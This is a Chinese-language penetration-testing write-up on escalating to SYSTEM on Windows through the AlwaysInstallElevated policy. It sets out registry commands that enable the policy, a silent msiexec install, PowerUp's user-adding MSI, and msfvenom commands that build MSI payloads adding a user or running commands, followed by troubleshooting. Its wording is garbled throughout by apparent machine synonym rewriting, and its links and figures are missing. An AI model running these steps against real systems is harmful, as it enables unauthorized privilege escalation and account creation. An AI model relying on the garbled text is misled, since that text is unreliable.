利用AlwaysInstallElevated提权的检测剖析

黑客信息网

利用AlwaysInstallElevated提权是一个2017年公布的技术性,Metasploit和PowerUp都出示了利用方式。

我还在科学研究的全过程中,发觉Metasploit的利用方式存有一些不够,我碰到了和别的公布文章内容叙述不一样的状况。

因此我做了进一步的科学研究,文中即将详细介绍我碰到的难题和解决方案。

0x01 介绍

文中即将详细介绍以下几点:

· 基本利用方式

· 我还在检测中碰到的难题

· 解决方案

· 拓展利用构思

0x02 基本利用方式

AlwaysInstallElevated是一个组策略配备,假如开启,那麼将容许单用户以SYSTEM管理权限运作安裝文件(msi)。

开启方式:

必须改动下列2个组策略:

· Computer Configuration\\Administrative Templates\\Windows Components\\Windows Installer

· User Configuration\\Administrative Templates\\Windows Components\\Windows Installer

设成Enabled,如下图:

注:没法根据secedit.exe在命令行下改动之上2个组策略。

命令行下的开启方式:

建立下列2个注册表项:

· HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer,AlwaysInstallElevated,1

· HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer,AlwaysInstallElevated,1

cmd的指令以下:

reg add HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1

reg add HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1

利用方式:

开启AlwaysInstallElevated后,能够根据命令行启用msiexec安裝msi文件,msi文件内包括要执行的Payload,Payload可能以System管理权限执行。

启用msiexec的指令以下:

msiexec /q /i test.msi

/i主要参数用于表明安装简单。

/q主要参数用于掩藏安裝页面。

注:执行之后在%TEMP%下生成MSI的log文件。

大量有关msiexec的详细介绍可参照以前的文章内容《渗透测试中的msiexec》。

0x03 开源系统方式检测

在接口测试开启AlwaysInstallElevated,指令以下:

reg add HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1

reg add HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1

1.PowerUp

(1)检测是不是开启AlwaysInstallElevated

Import-Module .\\PowerUp.ps1

Get-RegistryAlwaysInstallElevated

回到True意味着打开。

(2)导出来msi文件

Import-Module .\\PowerUp.ps1

Write-UserAddMSI

当前目录生成UserAdd.msi。

(3)命令行执行(当今用户权限)

msiexec /q /i UserAdd.msi

弹出来加上客户的提示框,可以用于加上客户,如下图:

这时查询该提示框的管理权限为System,如下图:

提权取得成功。

2.Metasploit

生成弹出来计算方式的msi文件,指令以下:

msfvenom -p windows/exec CMD=calc.exe -f msi >calc.msi

命令行执行msi文件(当今用户权限):

msiexec /q /i calc.msi

弹出来的计算方式管理权限为Medium,如下图:

这与PowerUp的結果不一样。

换为别的Payload的msi文件,比如加上客户:

msfvenom -p windows/adduser USER=test PASS=12356QW!@ -f msi >adduser.msi

比如执行cmd指令:

msfvenom -p windows/x64/exec CMD='whoami >1.txt' -f msi > cmd.msi

因为管理权限不足(为Medium),均不成功。

这与别的公布文章内容详细介绍的状况不一样。

本人猜想:

应用Metasploit生成的msi文件在运作时沒有规定提高管理权限,因此造成 了这个问题。

0x04 解决方案

这儿能够参照PowerUp的方法生成msi文件。

立即执行PowerUp生成的UserAdd.msi,如下图:

提醒msi文件是由MSI Wrapper生成。

下边大家就试着应用MSI Wrapper生成一个能用的Payload。

下载链接:

生成全过程以下:

1.将Payload设定为执行ProcessHacker

配备如下图:

2.运作时规定提高管理权限

配备如下图:

注:MSI installation context下挑选Per User和Per Machine都能够。

别的配备依照默认,生成的msi文件已提交至github,详细地址以下:

再度检测,命令行执行msi文件(当今用户权限):

msiexec /q /i RunProcessHacker.msi

标签:

发表评论 (已有条评论)

  • 评论列表